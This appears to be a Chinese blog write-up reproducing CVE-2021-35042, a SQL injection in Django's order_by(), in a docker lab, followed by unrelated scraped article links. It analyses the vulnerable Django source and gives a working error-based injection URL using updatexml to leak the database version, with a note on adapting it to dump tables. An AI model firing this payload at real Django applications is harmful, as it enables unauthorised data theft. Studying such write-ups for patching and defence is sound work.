CVE-2021-35042

漏洞介绍

Django 是 Python 语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架。

漏洞影响版本:django 3.1、3.2

2021年07月01日,Django 发布了3.2.5 和 3.1.13版本,修复了Django中的一个SQL注入漏洞(CVE-2021-35042),Django建议用户尽快升级。

由于传递给QuerySet.order_by()的用户输入未经处理,攻击者可以利用这绕过标记为弃用的路径中的预期列引用验证,从而导致SQL注入。

搭建环境

这里我们使用docker搭建环境

docker-compose.yml 中 ports下面- "映射到物理机的端口:docker容器的端口" ,映射到物理机的端口默认为8000,如果有本机其他端口有冲突可以手动修改。

启动环境

docker-compose up -d

django源码分析

url.py

可以理解为url路由

from django.urls import include, path, re_path
from . import views urlpatterns = [
path('vuln/', views.vul), # 如果请求http://ip:port/vuln/ 就会交给views.py中的vul函数进行处理
]

views.py

处理对应http请求的函数

from django.shortcuts import HttpResponse
from .models import Collection def vul(request):
query = request.GET.get('order', default='id') #获取url中的order的值,如果取不到默认将"id"赋值给query
q = Collection.objects.order_by(query) # 数据库查询操作
return HttpResponse(q.values()) # 将返回的数据作为响应体返回

models.py

from django.db import models

class Collection(models.Model):
name = models.CharField(max_length=128)

这里出漏洞的位置是Collection.objects.order_by,这里在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我们使用pycharm下载3.1版本的django。

上面views.py中的Collection.objects.order_by 我们ctrl点击order_by查看django源码

问题点在1134行的obj.query.add_ordering(*field_names)这里传入的参数也就是上面views.py的query

django\db\models\sql\query.py

   def add_ordering(self, *ordering):
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item: # 如果包含.来个警告直接continue 绕过了安全验证
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?': # 如果item完全等于?也绕过了安全验证,但是无法利用
continue
if item.startswith('-'): # 如果以-开头对item进行处理,无法漏洞利用
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 对参数进行安全验证
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False

最方便的还是传入的参数中包含"."这样就可以直接绕过安全验证直接去sql字符串拼接

sql语句拼接的位置

django\db\models\sql\compiler.py

django\db\models\sql\compiler.py--->class SQLCompiler---->def get_order_by(self)

这里便利上面传下来的ordering ,这里有一个判断条件如果.在field中col没有经过处理直接丢进去了

现在其实就成了 select xxx from xxxx xxxxx orderby (这里可控);

漏洞复现

http://ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
经过处理后就变成了下面的sql语句
select xxx from xxxx xxxxx orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23

接着查看表查看数据什么的 修改 "select @@version"这一部分即可

CVE-2021-35042的更多相关文章

  1. 【OWASP TOP10】2021年常见web安全漏洞TOP10排行

    [2021]常见web安全漏洞TOP10排行 应用程序安全风险 攻击者可以通过应用程序中许多的不同的路径方式去危害企业业务.每种路径方法都代表了一种风险,这些风险都值得关注. 什么是 OWASP TO ...

  2. Python-爬取CVE漏洞库👻

    Python-爬取CVE漏洞库 最近吧准备复现一下近几年的漏洞,一个一个的去找太麻烦了.今天做到第几页后面过几天再来可能就不记得了.所以我想这搞个爬虫给他爬下来做个excel表格,那就清楚多了.奈何还 ...

  3. codevs 2021 中庸之道

    2021 中庸之道  时间限制: 1 s  空间限制: 128000 KB  题目等级 : 钻石 Diamond       题目描述 Description 给定一个长度为N的序列,有Q次询问,每次 ...

  4. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

  5. CVE

    一.简介 CVE 的英文全称是"Common Vulnerabilities & Exposures"公共漏洞和暴露.CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者 ...

  6. 小白日记15:kali渗透测试之弱点扫描-漏扫三招、漏洞管理、CVE、CVSS、NVD

    发现漏洞 弱点发现方法: 1.基于端口服务扫描结果版本信息,比对其是否为最新版本,若不是则去其 官网查看其补丁列表,然后去逐个尝试,但是此法弊端很大,因为各种端口应用比较多,造成耗时大. 2.搜索已公 ...

  7. CVE漏洞爬虫java代码依赖-TestNG

    TestNG是Java中的一个测试框架,而该CVE漏洞爬虫示例中所涉及到的java代码中, \Crawler\src\com\***\ThreaderRun.java文件在导入import org.t ...

  8. Bzoj 1982: [Spoj 2021]Moving Pebbles 博弈论

    1982: [Spoj 2021]Moving Pebbles Time Limit: 10 Sec  Memory Limit: 64 MBSubmit: 130  Solved: 88[Submi ...

  9. 漏洞都是怎么编号的CVE/CAN/BUGTRAQ/CNCVE/CNVD/CNNVD

    在一些文章和报道中常常提到安全漏洞CVE-1999-1046这样的CVE开头的漏洞编号,这篇文章将常见的漏洞ID的表示方法做下介绍: 1.以CVE开头,如CVE-1999-1046这样的 CVE 的英 ...

  10. 如何确定Ubuntu下是否对某个CVE打了补丁

        前些日子在月赛中,拿到了一台Ubuntu14.04的服务器,但并不是root权限,需要提权.我Google了一下,找到了CVE-2015-1318,CVE-2015-1328,CVE-2015 ...

随机推荐

  1. web自动化测试用例编写的规范

    1.一个脚本是一个完整的场景,从用户登陆操作到用户退出系统关闭浏览器. 2.一个脚本脚本只验证一个功能点,不要试图用户登陆系统后把所有的功能都进行验证再退出系统 3.尽量只做功能中正向逻辑的验证,不要 ...

  2. 学习Jenkins(二)

    一:持续集成的概念: 总体的概括 持续集成Continuous Integration 持续交付Continuous Delivery 持续部署Continuous Deployment 二:安装部署 ...

  3. 爬虫-数据解析-xpath

    xpath 解析 模块安装 : pip install lxml xpath的解析原理 实例化一个etree类型的对象,且将页面源码数据加载到该对象中 需要调用该对象的xpath方法结合着不同形式的x ...

  4. 转Gerber和拼版

    1 Gerber 这个网上有现成的教程:(不要写网上能找到的资料-敏捷开发) AD 导出Gerber :https://jingyan.baidu.com/article/3c48dd3494181c ...

  5. AS的不同布局

    AndroidStudio里面支持的布局有挺多种的,但是最最重要的是RelativeLayout(相对布局)和LinearLayout(线性布局),熟练掌握这两种布局也非常够用了,当然还有FrameL ...

  6. Android Studio安装问题

    安装问题可以参考:https://blog.csdn.net/y74364/article/details/96121530 但是gradle安装缓慢,需要FQ.有加速器FQ的可以开加速器安装,没有的 ...

  7. Unknown host mirrors.opencas.cn You may need to adjust the proxy settings in Gradle 报错及解决办法

    亲测Unknown host mirrors.opencas.cn You may need to adjust the proxy settings in Gradle 解决办法 - 程序员大本营 ...

  8. ssm项目框架搭建(增删改查案例实现)——(SpringMVC+Spring+mybatis项目整合)

    Spring 常用注解 内容 一.基本概念 1. Spring 2. SpringMVC 3. MyBatis 二.开发环境搭建 1. 创建 maven 项目 2. SSM整合 2.1 项目结构图 2 ...

  9. LINUX执行shutdown.sh提示:-bash: ./startup.sh: Permission denied

    在执行./startup.sh,或者./shutdown.sh的时候,爆出了Permission denied, 其实很简单,就是今天在执行tomcat的时候,用户没有权限,而导致无法执行, 用命令c ...

  10. LibreOffice(开源免费办公软件)

    LibreOffice(开源免费办公软件) 官方地址 中文网站:https://zh-cn.libreoffice.org/ 下载地址: https://zh-cn.libreoffice.org/d ...